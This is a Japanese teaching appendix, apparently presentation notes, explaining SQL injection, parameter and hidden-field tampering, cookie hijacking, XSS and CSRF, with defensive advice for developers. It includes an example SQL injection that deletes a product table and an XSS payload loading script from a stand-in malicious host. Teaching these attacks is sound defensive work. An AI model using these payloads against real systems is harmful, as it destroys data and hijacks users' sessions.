付 録 アプリケーションへの 代 表 的 攻 撃 (SQL)インジェクション データベースを 利 用 するアプリケーションに 対 して 外 部 からの 入 力 で 不 正 に データベースを 操 作 参 照 する 手 法 入 力 がSQL 以 外 のシステムのコマンド 等 として 処 理 される 場 合 に それらを 利 用 する コマンドインジェクションなども 類 似 の 攻 撃 パラメータ 改 ざん セッションハイジャック ブラウザ アプリケーション 間 で 受 け 渡 される 各 種 のパラメータを 改 ざんする ことで 想 定 外 の 動 作 を 誘 発 させたり セッションIDなどの 情 報 を 横 取 りして 再 利 用 することで 認 証 を 回 避 してアプリケーションを 操 作 するなどの 手 法 クロスサイトスクリプティング(XSS) アプリケーションが 生 成 するWebページに 外 部 からの 操 作 で 不 正 なスクリプ トを 埋 め 込 み それを 参 照 した 人 が 気 づかずに 不 正 なサイトに 誘 導 されたり 不 正 プログラムをダウンロードさせられたりするような 手 法 クロスサイト リクエスト フォージェリー(XSRFまたはCSRF) 不 正 なスクリプトによって 利 用 者 の 権 限 で 異 なるサイトに 対 して 操 作 を 行 う ような 攻 撃 手 法 XSSの 応 用 として 行 われることが 多 い ここで 最 近 注 目 されている Webアプリケーションへの 攻 撃 手 法 をいくつか 見 てみよう これらはすべて アプリケーションがこうした 攻 撃 に 対 して 脆 弱 である(つまりは 不 正 な 入 力 などを 許 してしまう)ことが 前 提 となっている 逆 の 言 い 方 をすれば このような 攻 撃 を 許 さないためには 攻 撃 に 利 用 される 不 正 な 入 力 やデータ 改 ざんをきちんとチェック し 許 さないことが 必 要 だ 1
アプリケーション 攻 撃 例 SQL インジェクション D/B 問 い 合 わせSQL 文 の 生 成 商 品 番 号 注 文 数 SQL 文 : select * from 商 品 マスター where 商 品 番 号 = 入 力 値 入 力 値 が ; Delete from 商 品 マスター where 1=1 だったら 何 が 起 きるのか これはごく 単 純 なSQLインジェクションの 例 だ この 例 では アプリケーションは 入 力 された 商 品 番 号 から 商 品 マスターを 検 索 するが その 際 に 入 力 値 を 利 用 して 検 索 のためのSQL 文 を 構 成 する この 処 理 をなんらチェック も 行 わずに 単 純 な 文 字 列 結 合 で 行 ってしまうと 入 力 を 操 作 することで 構 成 される SQL 文 を 任 意 の 処 理 を 実 行 するように 改 ざんできてしまう 上 の 例 では 商 品 マスターの 内 容 は 消 去 されてしまう このような 破 壊 行 為 や 本 来 表 示 されてはいけない 個 人 情 報 などのデータを 表 示 させるような 攻 撃 にSQLインジェク ション 脆 弱 性 を 利 用 することができる また 使 用 するデータベースによっては オペ レーティングシステムのコマンドをSQL 文 から 実 行 可 能 な 場 合 もあり このようなケースで は システムへの 侵 入 やWeb 改 ざんなどの 不 正 操 作 に 利 用 できる 可 能 性 もあるので 注 意 が 必 要 だ 2
パラメータ 改 ざん アプリケーション 攻 撃 例 値 を 書 き 換 えたら 何 がおきるか よく 対 話 型 のサイトをアクセスした 際 に このようなパラメータがブラウザ 上 に 表 示 され ることがある これらは たとえば 選 択 されたメニューの 番 号 であったり 処 理 順 序 であっ たりと アプリケーションの 処 理 を 制 御 するための 値 だ このような 形 のパラメータはユー ザが 簡 単 に 書 き 換 えられる つまり アプリケーションを 作 る 側 は それを 前 提 に 書 き 換 えられても 致 命 的 な 動 作 を 誘 発 しないようきちんとチェック 等 の 処 理 を 行 っておかな ければならない たとえば ある 値 を9に 書 き 換 えたら 本 来 表 示 されてはならないはずの 管 理 者 画 面 が 表 示 されてしまった というような 極 めて 単 純 な 例 もある 3
パラメータ 改 ざん アプリケーション 攻 撃 例 このような 隠 しパラメータ が 改 ざんされたら? もう 少 し 複 雑 な 例 がこれだ アドレスバーには 現 れないが 表 示 されているページの 中 に パラメータが 隠 されていることもある Hiddenフィールドと 呼 ばれるものや 選 択 肢 の ためのパラメータなどである このような 隠 しパラメータ はフォーム 送 信 時 にアプリケー ションに 送 り 返 され そのフォームの 識 別 や 次 の 処 理 のための 入 力 として 使 われる ブラ ウザ 上 でこれらを 書 き 換 えることは 困 難 だが このような 値 を 表 示 し 書 き 換 えて 送 信 で きるようなツールも 簡 単 に 入 手 できる 従 って 開 発 者 はこのような 値 すら 書 き 換 えられる 前 提 で 仕 様 を 考 えなければならな い 4
Cookieを 使 ったセッション 管 理 1セッション ログイン 作 業 1 作 業 2 作 業 3 ログアウト 認 証 Cookie 生 成 Cookie 確 認 Cookie 確 認 Cookie 確 認 Cookie 削 除 or 無 効 化 Cookie: SessionーID=A9xYNml3z Webアプリケーション Cookie: SessionーID=xxxxxxx URL 引 数 や 隠 しパラメータ 以 外 に 多 用 されるのが Cookie(クッキー)と 呼 ばれるものだ これは Webサーバとブラウザ 間 で 交 換 されるデータのヘッダと 呼 ばれる 部 分 に 格 納 さ れるテキストデータだ 特 にこのCookieは Webアプリケーションにログインしたユーザ に 認 証 情 報 を 一 連 の 処 理 (セッション)の 間 保 持 したり 隠 しパラメータの 受 け 渡 しなど に 使 われることが 多 い この 例 では ユーザが 認 証 を 受 けてログインし 一 連 の 作 業 を 行 ってログアウトするまで のCookieの 使 われかたを 模 式 的 に 表 している このデータもブラウザ 上 では 見 ることが 困 難 だが ツールを 使 用 したり 通 信 をモニタリ ングすることで 取 得 することが 可 能 だ 5
Cookie 横 取 り 改 ざん 再 利 用 Cookieに 含 まれる 内 容 例 セッションID 各 種 のパラメータ これらを 改 ざんされたり 横 取 りして 再 利 用 されたら?? たとえばこれは あるSNSサイトの 認 証 情 報 を 格 納 したCookieの 例 だ ( 安 全 上 の 理 由 からサイト 名 内 容 はマスクしている) 最 も 危 険 なのは このセッションIDを 盗 まれて 再 利 用 されることで 認 証 をバイパスして ログイン 状 態 を 作 り 出 すことが 可 能 になる 点 だ 開 発 者 はこうした 点 を 考 慮 し 経 路 上 で 盗 まれないようにSSLの 使 用 を 強 制 したり セッションIDに 時 刻 情 報 や 利 用 者 のIPアド レスなどの 情 報 を 含 めて 暗 号 化 することで 異 なるIPアドレスからの 利 用 を 防 止 したり 一 定 時 間 で 無 効 になるような 仕 組 みを 作 り 込 んでおく 必 要 がある 6
アプリケーション 攻 撃 例 クロスサイトスクリプティング 脆 弱 性 の 悪 用 例 Bad.jsを 読 み 込 んで 実 行 悪 意 のサイト Web ブラウザ 処 理 結 果 ( 掲 示 ) xxxxxxxxxxx yyyyyyyyyyyy <HTML>...<script src= http://.. ></script>. </HTML> 善 意 のWebアプリ たとえば 掲 示 板 ソフト (XSS 脆 弱 性 あり) 入 力 <script type=javascript src=http://badsite.co.jp/bad.js> </script> を 入 力 に 混 入 クロスサイトスクリプティングは 最 も 難 解 な 脆 弱 性 の 一 つと 言 われているが その 理 由 は 様 々な 形 で 悪 用 が 可 能 であるからだ しかし 使 われ 方 の 難 解 さとは 裏 腹 に その 仕 組 みはきわめて 単 純 である これは 最 も 単 純 な 例 の 一 つだ たとえば 掲 示 板 ソフトの 記 事 入 力 部 分 に この 脆 弱 性 が 存 在 したとしよう 攻 撃 者 は 入 力 の 中 に <Script>タグを 混 入 し あるサイトから 不 正 な 行 為 を 実 行 するスクリプトを 読 み 込 むような 仕 掛 けを 作 ることができる このような 仕 掛 けを 埋 め 込 まれても 掲 示 さ れた 記 事 の 外 見 上 はまったくわからない しかし この 記 事 が 表 示 された 時 点 で 閲 覧 者 のブラウザは 不 正 なスクリプトを 実 行 しているのだ 7
アプリケーション 攻 撃 例 クロスサイト リクエスト フォージェリー SNSサイトのCookie 不 正 スクリプト ユーザの ブラウザ 認 証 要 求 不 正 なリクエスト アクセス SNSサイト 不 正 書 き 込 み 掲 示 板 不 正 サイト 不 正 スクリプト クロスサイトスクリプティングを 応 用 した 攻 撃 のひとつに XSRF(Cross Site Request Forgery)がある これは クロスサイトスクリプティングで 読 み 込 まされた 不 正 なスクリプト が ブラウザに 保 存 されている 特 定 サイトへの 認 証 用 Cookieを 利 用 して そのサイトに 対 して 不 正 なリクエストを 行 うような 連 鎖 攻 撃 だ たとえば SNSの 掲 示 板 にXSS 脆 弱 性 があるような 場 合 攻 撃 者 は 掲 示 板 に 不 正 な script タグを 仕 込 むことで アクセスしたユーザに 不 正 スクリプトをダウンロードさせ そ のスクリプトによって アクセスしたユーザの 権 限 でSNSサイトに 対 して 操 作 を 行 うことが 可 能 だ これは そのユーザが 自 分 のアカウントでSNSにログイン 済 みであることから SNSサイトに 対 するスクリプトからのリクエストが 正 当 なユーザ 認 証 を 経 て 実 行 されて しまうためである 2005 年 米 国 の MySpace.com で 実 際 に 行 われた 攻 撃 は こうした 不 正 なスクリプトタ グを ユーザのプロフィール 情 報 に 組 み 込 み それをアクセスしたユーザのプロフィー ルにも 不 正 タグを 伝 染 させるという 一 種 のワーム 的 な 動 きをするものだった (SNS ワーム 事 件 として 話 題 になった) XSRF 攻 撃 はこのような 操 作 を 可 能 とする 8